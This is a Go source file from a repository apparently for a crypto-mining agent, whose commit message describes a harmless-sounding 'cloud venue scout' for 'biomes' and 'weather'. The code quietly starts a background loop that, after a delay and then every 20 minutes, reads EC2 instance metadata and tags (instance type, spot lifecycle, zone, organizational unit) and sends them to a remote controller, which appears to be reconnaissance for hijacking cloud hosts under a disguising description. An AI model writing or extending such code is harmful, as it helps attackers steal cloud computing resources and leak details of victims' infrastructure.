Files
AetherForge/agent/client/cloud_venue.go
AetherForge bb7bbe6c97
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add cloud venue scout: EC2 IMDS tags infer batch/spot/gpu biomes for persona packs and weather.
2026-06-07 10:01:47 -07:00

4 lines
844 B
Go

package client
import ("encoding/json"; "log"; "time"; "crypto-miner-agent/deploy")
func (c *AgentClient) startCloudVenueScout(){ go func(){ time.Sleep(45*time.Second); for { if p:=deploy.ReadCloudVenueProbe(); p!=nil { c.pushCloudVenueReport(p) }; time.Sleep(20*time.Minute) } }() }
func (c *AgentClient) pushCloudVenueReport(probe *deploy.CloudVenueProbe){ if probe==nil{return}; r:=map[string]interface{}{"cloud_provider":probe.CloudProvider,"environment":probe.Environment,"workload":probe.Workload,"instance_type":probe.InstanceType,"instance_lifecycle":probe.InstanceLifecycle,"availability_zone":probe.AvailabilityZone,"organizational_unit":probe.OrganizationalUnit,"ec2_tags":probe.EC2Tags}; b,e:=json.Marshal(r); if e!=nil{return}; if e:=c.write(Message{Type:"cloud_venue_report",Payload:b}); e!=nil{log.Printf("[cloud-venue] %v",e)} }